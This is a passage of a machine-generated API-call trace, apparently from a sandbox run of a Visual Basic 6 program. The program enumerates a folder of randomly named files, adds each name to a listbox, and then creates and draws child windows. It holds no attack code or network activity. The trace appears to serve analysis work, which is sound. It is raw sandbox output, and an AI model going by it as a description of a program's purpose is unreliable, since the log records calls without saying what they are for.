nFileSizeLow=0x5d9c, dwReserved0=0x5011e, dwReserved1=0x180, cFileName="8 iMTMxtoGgXL2fGl.gif", cAlternateFileName="8IMTMX~1.GIF")) returned 1 [0068.569] SendMessageA (hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x6 [0068.569] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x6 [0068.569] FindNextFileA (in: hFindFile=0x143c888, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4def1a0, ftCreationTime.dwHighDateTime=0x1d5da56, ftLastAccessTime.dwLowDateTime=0x13b0ca50, ftLastAccessTime.dwHighDateTime=0x1d5dccc, ftLastWriteTime.dwLowDateTime=0x13b0ca50, ftLastWriteTime.dwHighDateTime=0x1d5dccc, nFileSizeHigh=0x0, nFileSizeLow=0x478e, dwReserved0=0x5011e, dwReserved1=0x180, cFileName="BePa xPWNRvkhp.mkv", cAlternateFileName="BEPAXP~1.MKV")) returned 1 [0068.569] SendMessageA (hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x7 [0068.569] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x7 [0068.569] FindNextFileA (in: hFindFile=0x143c888, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x835587b0, ftCreationTime.dwHighDateTime=0x1d5e37f, ftLastAccessTime.dwLowDateTime=0xc4fd6c40, ftLastAccessTime.dwHighDateTime=0x1d5e745, ftLastWriteTime.dwLowDateTime=0xc4fd6c40, ftLastWriteTime.dwHighDateTime=0x1d5e745, nFileSizeHigh=0x0, nFileSizeLow=0xeedd, dwReserved0=0x5011e, dwReserved1=0x180, cFileName="BiU97YASDz_miGgDzlh.doc", cAlternateFileName="BIU97Y~1.DOC")) returned 1 [0068.569] SendMessageA (hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x8 [0068.569] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x8 [0068.569] FindNextFileA (in: hFindFile=0x143c888, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94a87fa0, ftCreationTime.dwHighDateTime=0x1d5dee7, ftLastAccessTime.dwLowDateTime=0xad58c3e0, ftLastAccessTime.dwHighDateTime=0x1d5e1ba, ftLastWriteTime.dwLowDateTime=0xad58c3e0, ftLastWriteTime.dwHighDateTime=0x1d5e1ba, nFileSizeHigh=0x0, nFileSizeLow=0x910a, dwReserved0=0x5011e, dwReserved1=0x180, cFileName="BsW9feY.png", cAlternateFileName="")) returned 1 [0068.569] SendMessageA (hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x9 [0068.569] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x9 [0068.569] FindNextFileA (in: hFindFile=0x143c888, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x5011e, dwReserved1=0x180, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0068.569] FindNextFileA (in: hFindFile=0x143c888, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbace6350, ftCreationTime.dwHighDateTime=0x1d5daed, ftLastAccessTime.dwLowDateTime=0x34993b0, ftLastAccessTime.dwHighDateTime=0x1d5d829, ftLastWriteTime.dwLowDateTime=0x34993b0, ftLastWriteTime.dwHighDateTime=0x1d5d829, nFileSizeHigh=0x0, nFileSizeLow=0x9686, dwReserved0=0x5011e, dwReserved1=0x180, cFileName="dqsfDm_R ZbdAY5.wav", cAlternateFileName="DQSFDM~1.WAV")) returned 1 [0068.569] SendMessageA (hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0xa [0068.569] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0xa [0068.570] FindNextFileA (in: hFindFile=0x143c888, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bce9f80, ftCreationTime.dwHighDateTime=0x1d5e293, ftLastAccessTime.dwLowDateTime=0x5956a200, ftLastAccessTime.dwHighDateTime=0x1d5d8f3, ftLastWriteTime.dwLowDateTime=0x5956a200, ftLastWriteTime.dwHighDateTime=0x1d5d8f3, nFileSizeHigh=0x0, nFileSizeLow=0x98f5, dwReserved0=0x5011e, dwReserved1=0x180, cFileName="eiVRQ05vT6.jpg", cAlternateFileName="EIVRQ0~1.JPG")) returned 1 [0068.570] SendMessageA (hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0xb [0068.570] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0xb [0068.570] FindNextFileA (in: hFindFile=0x143c888, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdf79210, ftCreationTime.dwHighDateTime=0x1d5e645, ftLastAccessTime.dwLowDateTime=0x8c23bce0, ftLastAccessTime.dwHighDateTime=0x1d5dd67, ftLastWriteTime.dwLowDateTime=0x8c23bce0, ftLastWriteTime.dwHighDateTime=0x1d5dd67, nFileSizeHigh=0x0, nFileSizeLow=0x2300, dwReserved0=0x5011e, dwReserved1=0x180, cFileName="H_Yh-v.mp4", cAlternateFileName="")) returned 1 [0068.570] SendMessageA (hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0xc [0068.570] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0xc [0068.570] FindNextFileA (in: hFindFile=0x143c888, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0387900, ftCreationTime.dwHighDateTime=0x1d6080c, ftLastAccessTime.dwLowDateTime=0xd0387900, ftLastAccessTime.dwHighDateTime=0x1d6080c, ftLastWriteTime.dwLowDateTime=0x8482d100, ftLastWriteTime.dwHighDateTime=0x1d60806, nFileSizeHigh=0x0, nFileSizeLow=0x710a00, dwReserved0=0x5011e, dwReserved1=0x180, cFileName="jeno2.exe", cAlternateFileName="")) returned 1 [0068.570] SendMessageA (hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0xd [0068.570] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0xd [0068.570] FindNextFileA (in: hFindFile=0x143c888, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95cdd6f0, ftCreationTime.dwHighDateTime=0x1d5de51, ftLastAccessTime.dwLowDateTime=0x700025b0, ftLastAccessTime.dwHighDateTime=0x1d5e359, ftLastWriteTime.dwLowDateTime=0x700025b0, ftLastWriteTime.dwHighDateTime=0x1d5e359, nFileSizeHigh=0x0, nFileSizeLow=0x17918, dwReserved0=0x5011e, dwReserved1=0x180, cFileName="K-uocVf8PSkEv.m4a", cAlternateFileName="K-UOCV~1.M4A")) returned 1 [0068.570] SendMessageA (hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0xe [0068.570] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0xe [0068.570] FindNextFileA (in: hFindFile=0x143c888, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d52e620, ftCreationTime.dwHighDateTime=0x1d5def7, ftLastAccessTime.dwLowDateTime=0xe3be7640, ftLastAccessTime.dwHighDateTime=0x1d5e7d8, ftLastWriteTime.dwLowDateTime=0xe3be7640, ftLastWriteTime.dwHighDateTime=0x1d5e7d8, nFileSizeHigh=0x0, nFileSizeLow=0x4f51, dwReserved0=0x5011e, dwReserved1=0x180, cFileName="o-udO3.png", cAlternateFileName="")) returned 1 [0068.570] SendMessageA (hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0xf [0068.570] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0xf [0068.571] FindNextFileA (in: hFindFile=0x143c888, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaeac0, ftCreationTime.dwHighDateTime=0x1d5d89e, ftLastAccessTime.dwLowDateTime=0xb7aae450, ftLastAccessTime.dwHighDateTime=0x1d5d90d, ftLastWriteTime.dwLowDateTime=0xb7aae450, ftLastWriteTime.dwHighDateTime=0x1d5d90d, nFileSizeHigh=0x0, nFileSizeLow=0x73f5, dwReserved0=0x5011e, dwReserved1=0x180, cFileName="OZUFksBX.png", cAlternateFileName="")) returned 1 [0068.571] SendMessageA (hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x10 [0068.571] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x10 [0068.571] FindNextFileA (in: hFindFile=0x143c888, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x995854f0, ftCreationTime.dwHighDateTime=0x1d5dd9b, ftLastAccessTime.dwLowDateTime=0x95601c00, ftLastAccessTime.dwHighDateTime=0x1d5dc17, ftLastWriteTime.dwLowDateTime=0x95601c00, ftLastWriteTime.dwHighDateTime=0x1d5dc17, nFileSizeHigh=0x0, nFileSizeLow=0x89be, dwReserved0=0x5011e, dwReserved1=0x180, cFileName="rGhVTl9zojDQB.mp3", cAlternateFileName="RGHVTL~1.MP3")) returned 1 [0068.571] SendMessageA (hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x11 [0068.571] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x11 [0068.571] FindNextFileA (in: hFindFile=0x143c888, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7a81170, ftCreationTime.dwHighDateTime=0x1d5e0eb, ftLastAccessTime.dwLowDateTime=0xf4ad2400, ftLastAccessTime.dwHighDateTime=0x1d5dde3, ftLastWriteTime.dwLowDateTime=0xf4ad2400, ftLastWriteTime.dwHighDateTime=0x1d5dde3, nFileSizeHigh=0x0, nFileSizeLow=0x736d, dwReserved0=0x5011e, dwReserved1=0x180, cFileName="tLqR1.odt", cAlternateFileName="")) returned 1 [0068.571] SendMessageA (hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x12 [0068.571] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x12 [0068.571] FindNextFileA (in: hFindFile=0x143c888, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x107ae390, ftCreationTime.dwHighDateTime=0x1d5d7b1, ftLastAccessTime.dwLowDateTime=0xe58e4a80, ftLastAccessTime.dwHighDateTime=0x1d5e054, ftLastWriteTime.dwLowDateTime=0xe58e4a80, ftLastWriteTime.dwHighDateTime=0x1d5e054, nFileSizeHigh=0x0, nFileSizeLow=0xff30, dwReserved0=0x5011e, dwReserved1=0x180, cFileName="TNzatj7BdlmqlHrK-e.m4a", cAlternateFileName="TNZATJ~1.M4A")) returned 1 [0068.571] SendMessageA (hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x13 [0068.571] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x13 [0068.572] FindNextFileA (in: hFindFile=0x143c888, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7869840, ftCreationTime.dwHighDateTime=0x1d5e81b, ftLastAccessTime.dwLowDateTime=0xb0759f0, ftLastAccessTime.dwHighDateTime=0x1d5dc3b, ftLastWriteTime.dwLowDateTime=0xb0759f0, ftLastWriteTime.dwHighDateTime=0x1d5dc3b, nFileSizeHigh=0x0, nFileSizeLow=0x343b, dwReserved0=0x5011e, dwReserved1=0x180, cFileName="tQdGnaj7YvsAV18.m4a", cAlternateFileName="TQDGNA~1.M4A")) returned 1 [0068.572] SendMessageA (hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x14 [0068.572] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x14 [0068.572] FindNextFileA (in: hFindFile=0x143c888, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca9d2b40, ftCreationTime.dwHighDateTime=0x1d5e024, ftLastAccessTime.dwLowDateTime=0xd32aa740, ftLastAccessTime.dwHighDateTime=0x1d5e2ba, ftLastWriteTime.dwLowDateTime=0xd32aa740, ftLastWriteTime.dwHighDateTime=0x1d5e2ba, nFileSizeHigh=0x0, nFileSizeLow=0x17149, dwReserved0=0x5011e, dwReserved1=0x180, cFileName="U-SoReOOYoLRQCnLfrF.flv", cAlternateFileName="U-SORE~1.FLV")) returned 1 [0068.572] SendMessageA (hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x15 [0068.572] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x15 [0068.572] FindNextFileA (in: hFindFile=0x143c888, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c7e7e30, ftCreationTime.dwHighDateTime=0x1d5d9aa, ftLastAccessTime.dwLowDateTime=0x61d291e0, ftLastAccessTime.dwHighDateTime=0x1d5e489, ftLastWriteTime.dwLowDateTime=0x61d291e0, ftLastWriteTime.dwHighDateTime=0x1d5e489, nFileSizeHigh=0x0, nFileSizeLow=0x7c05, dwReserved0=0x5011e, dwReserved1=0x180, cFileName="ufGygQfIC_o6R.avi", cAlternateFileName="UFGYGQ~1.AVI")) returned 1 [0068.572] SendMessageA (hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x15 [0068.572] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x15 [0068.572] FindNextFileA (in: hFindFile=0x143c888, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f8a26d0, ftCreationTime.dwHighDateTime=0x1d5d92a, ftLastAccessTime.dwLowDateTime=0x4aab82d0, ftLastAccessTime.dwHighDateTime=0x1d5e531, ftLastWriteTime.dwLowDateTime=0x4aab82d0, ftLastWriteTime.dwHighDateTime=0x1d5e531, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5011e, dwReserved1=0x180, cFileName="w67_j_1", cAlternateFileName="")) returned 1 [0068.572] FindNextFileA (in: hFindFile=0x143c888, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x466a6cb0, ftCreationTime.dwHighDateTime=0x1d5dcec, ftLastAccessTime.dwLowDateTime=0x8e8fc230, ftLastAccessTime.dwHighDateTime=0x1d5e1f9, ftLastWriteTime.dwLowDateTime=0x8e8fc230, ftLastWriteTime.dwHighDateTime=0x1d5e1f9, nFileSizeHigh=0x0, nFileSizeLow=0x3a5e, dwReserved0=0x5011e, dwReserved1=0x180, cFileName="X57L1l-90T4aYOTB9HO.bmp", cAlternateFileName="X57L1L~1.BMP")) returned 1 [0068.572] SendMessageA (hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x17 [0068.572] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x17 [0068.572] FindNextFileA (in: hFindFile=0x143c888, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a26030, ftCreationTime.dwHighDateTime=0x1d5e7f7, ftLastAccessTime.dwLowDateTime=0x60b5f850, ftLastAccessTime.dwHighDateTime=0x1d5d896, ftLastWriteTime.dwLowDateTime=0x60b5f850, ftLastWriteTime.dwHighDateTime=0x1d5d896, nFileSizeHigh=0x0, nFileSizeLow=0x1381e, dwReserved0=0x5011e, dwReserved1=0x180, cFileName="xFauTWg2F2e2Jx-LQF.png", cAlternateFileName="XFAUTW~1.PNG")) returned 1 [0068.572] SendMessageA (hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x18 [0068.572] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x18 [0068.573] FindNextFileA (in: hFindFile=0x143c888, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba2f2590, ftCreationTime.dwHighDateTime=0x1d5e53f, ftLastAccessTime.dwLowDateTime=0x1d09bcf0, ftLastAccessTime.dwHighDateTime=0x1d5e713, ftLastWriteTime.dwLowDateTime=0x1d09bcf0, ftLastWriteTime.dwHighDateTime=0x1d5e713, nFileSizeHigh=0x0, nFileSizeLow=0x3899, dwReserved0=0x5011e, dwReserved1=0x180, cFileName="xLFHwHLa9LFe.mp4", cAlternateFileName="XLFHWH~1.MP4")) returned 1 [0068.573] SendMessageA (hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x19 [0068.573] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x19 [0068.573] FindNextFileA (in: hFindFile=0x143c888, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6166450, ftCreationTime.dwHighDateTime=0x1d5dff5, ftLastAccessTime.dwLowDateTime=0x5e57f040, ftLastAccessTime.dwHighDateTime=0x1d5e46c, ftLastWriteTime.dwLowDateTime=0x5e57f040, ftLastWriteTime.dwHighDateTime=0x1d5e46c, nFileSizeHigh=0x0, nFileSizeLow=0xbf1a, dwReserved0=0x5011e, dwReserved1=0x180, cFileName="xUqAH6EfY_VYi7.rtf", cAlternateFileName="XUQAH6~1.RTF")) returned 1 [0068.573] SendMessageA (hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x1a [0068.573] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x1a [0068.573] FindNextFileA (in: hFindFile=0x143c888, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782e5f30, ftCreationTime.dwHighDateTime=0x1d5e053, ftLastAccessTime.dwLowDateTime=0x4c390b10, ftLastAccessTime.dwHighDateTime=0x1d5dcf6, ftLastWriteTime.dwLowDateTime=0x4c390b10, ftLastWriteTime.dwHighDateTime=0x1d5dcf6, nFileSizeHigh=0x0, nFileSizeLow=0x18578, dwReserved0=0x5011e, dwReserved1=0x180, cFileName="YlZIz0pYbw aQauY.swf", cAlternateFileName="YLZIZ0~1.SWF")) returned 1 [0068.573] SendMessageA (hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x1b [0068.573] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x1b [0068.573] FindNextFileA (in: hFindFile=0x143c888, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e4b36c0, ftCreationTime.dwHighDateTime=0x1d5e144, ftLastAccessTime.dwLowDateTime=0xfedc2910, ftLastAccessTime.dwHighDateTime=0x1d5dcaa, ftLastWriteTime.dwLowDateTime=0xfedc2910, ftLastWriteTime.dwHighDateTime=0x1d5dcaa, nFileSizeHigh=0x0, nFileSizeLow=0xd04d, dwReserved0=0x5011e, dwReserved1=0x180, cFileName="YTGykPn.mp3", cAlternateFileName="")) returned 1 [0068.573] SendMessageA (hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x1c [0068.573] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x1c [0068.573] FindNextFileA (in: hFindFile=0x143c888, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e4b36c0, ftCreationTime.dwHighDateTime=0x1d5e144, ftLastAccessTime.dwLowDateTime=0xfedc2910, ftLastAccessTime.dwHighDateTime=0x1d5dcaa, ftLastWriteTime.dwLowDateTime=0xfedc2910, ftLastWriteTime.dwHighDateTime=0x1d5dcaa, nFileSizeHigh=0x0, nFileSizeLow=0xd04d, dwReserved0=0x5011e, dwReserved1=0x180, cFileName="YTGykPn.mp3", cAlternateFileName="")) returned 0 [0068.573] FindClose (in: hFindFile=0x143c888 | out: hFindFile=0x143c888) returned 1 [0068.573] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0xb, wParam=0x1, lParam=0x0) returned 0x0 [0068.574] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x46, wParam=0x0, lParam=0x18ef84) returned 0x0 [0068.574] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x83, wParam=0x1, lParam=0x18ef5c) returned 0x0 [0068.574] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x47, wParam=0x0, lParam=0x18ef84) returned 0x0 [0068.574] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x5, wParam=0x0, lParam=0x12) returned 0x0 [0068.576] ShowWindow (hWnd=0x5011e, nCmdShow=5) returned 0 [0068.576] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0068.576] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x144) returned 0x383c280 [0068.576] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3831b98 [0068.576] lstrlenA (lpString="ThunderRT6") returned 10 [0068.576] lstrcpyA (in: lpString1=0x18f718, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0068.576] lstrlenA (lpString="ThunderRT6PictureBox") returned 20 [0068.576] lstrcpynA (in: lpString1=0x18f72c, lpString2="DC", iMaxLength=116 | out: lpString1="DC") returned="DC" [0068.576] lstrlenA (lpString="ThunderRT6") returned 10 [0068.576] lstrcpyA (in: lpString1=0x18f6ac, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0068.577] GetClassInfoA (in: hInstance=0x72940000, lpClassName="ThunderRT6PictureBox", lpWndClass=0x18f6d8 | out: lpWndClass=0x18f6d8) returned 0 [0068.577] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0068.577] RegisterClassA (lpWndClass=0x18f6d8) returned 0x17c161 [0068.577] lstrlenA (lpString="ThunderRT6") returned 10 [0068.577] lstrcpyA (in: lpString1=0x18f6ac, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0068.577] lstrlenA (lpString="ThunderRT6PictureBox") returned 20 [0068.577] lstrcpynA (in: lpString1=0x18f6c0, lpString2="DC", iMaxLength=29 | out: lpString1="DC") returned="DC" [0068.577] RegisterClassA (lpWndClass=0x18f6d8) returned 0x25c166 [0068.577] CreateWindowExA (dwExStyle=0x204, lpClassName=0xc166, lpWindowName=0x0, dwStyle=0x46010000, X=144, Y=16, nWidth=41, nHeight=16, hWndParent=0x30268, hMenu=0x3, hInstance=0x72940000, lpParam=0x0) returned 0x7011a [0068.577] NtdllDefWindowProc_A (hWnd=0x7011a, Msg=0x81, wParam=0x0, lParam=0x18f2fc) returned 0x1 [0068.578] NtdllDefWindowProc_A (hWnd=0x7011a, Msg=0x83, wParam=0x0, lParam=0x18f2e8) returned 0x0 [0068.578] NtdllDefWindowProc_A (hWnd=0x7011a, Msg=0x1, wParam=0x0, lParam=0x18f2fc) returned 0x0 [0068.578] NtdllDefWindowProc_A (hWnd=0x7011a, Msg=0x5, wParam=0x0, lParam=0xc0025) returned 0x0 [0068.578] GetParent (hWnd=0x7011a) returned 0x30268 [0068.578] GetWindowRect (in: hWnd=0x7011a, lpRect=0x18f128 | out: lpRect=0x18f128) returned 1 [0068.578] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x30268, lpPoints=0x18f128, cPoints=0x2 | out: lpPoints=0x18f128) returned -10092677 [0068.578] NtdllDefWindowProc_A (hWnd=0x7011a, Msg=0x3, wParam=0x0, lParam=0x120092) returned 0x0 [0068.578] GetDC (hWnd=0x7011a) returned 0x270109b8 [0068.578] GetTextMetricsA (in: hdc=0x270109b8, lptm=0x18f6c4 | out: lptm=0x18f6c4) returned 1 [0068.578] SetBkMode (hdc=0x270109b8, mode=1) returned 2 [0068.578] OleTranslateColor () returned 0x0 [0068.578] SetBkColor (hdc=0x270109b8, color=0xc0c0c0) returned 0xffffff [0068.578] OleTranslateColor () returned 0x0 [0068.578] SetTextColor (hdc=0x270109b8, color=0x0) returned 0x0 [0068.578] OleTranslateColor () returned 0x0 [0068.578] CreatePen (iStyle=0, cWidth=1, color=0x0) returned 0x243007c3 [0068.579] SelectObject (hdc=0x270109b8, h=0x243007c3) returned 0x1b00017 [0068.579] SelectObject (hdc=0x270109b8, h=0x1900011) returned 0x1900010 [0068.579] SetBrushOrgEx (in: hdc=0x270109b8, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1 [0068.579] UnrealizeObject (h=0x1900015) returned 1 [0068.579] SelectObject (hdc=0x270109b8, h=0x1900015) returned 0x1900011 [0068.579] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x14) returned 0x3831bb8 [0068.593] SelectObject (hdc=0x270109b8, h=0x680a01b8) returned 0x18a002e [0068.593] GetTextMetricsA (in: hdc=0x270109b8, lptm=0x18f5f8 | out: lptm=0x18f5f8) returned 1 [0068.593] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xf0) returned 0x383c3d0 [0068.593] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3831bd8 [0068.593] lstrlenA (lpString="ThunderRT6") returned 10 [0068.593] lstrcpyA (in: lpString1=0x18f718, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0068.593] CreateWindowExA (dwExStyle=0x204, lpClassName=0xc122, lpWindowName=0x0, dwStyle=0x44310081, X=144, Y=72, nWidth=41, nHeight=17, hWndParent=0x30268, hMenu=0x4, hInstance=0x72940000, lpParam=0x0) returned 0x6011c [0068.593] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x6011c, Msg=0x81, wParam=0x0, lParam=0x18f2fc) returned 0x1 [0068.594] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x6011c, Msg=0x83, wParam=0x0, lParam=0x18f2e8) returned 0x0 [0068.594] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x6011c, Msg=0x1, wParam=0x0, lParam=0x18f2fc) returned 0x1 [0068.594] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x6011c, Msg=0x5, wParam=0x0, lParam=0xd0014) returned 0x0 [0068.594] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x6011c, Msg=0x46, wParam=0x0, lParam=0x18ee74) returned 0x0 [0068.594] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x6011c, Msg=0x83, wParam=0x1, lParam=0x18ee4c) returned 0x0 [0068.595] CallWindowProcA 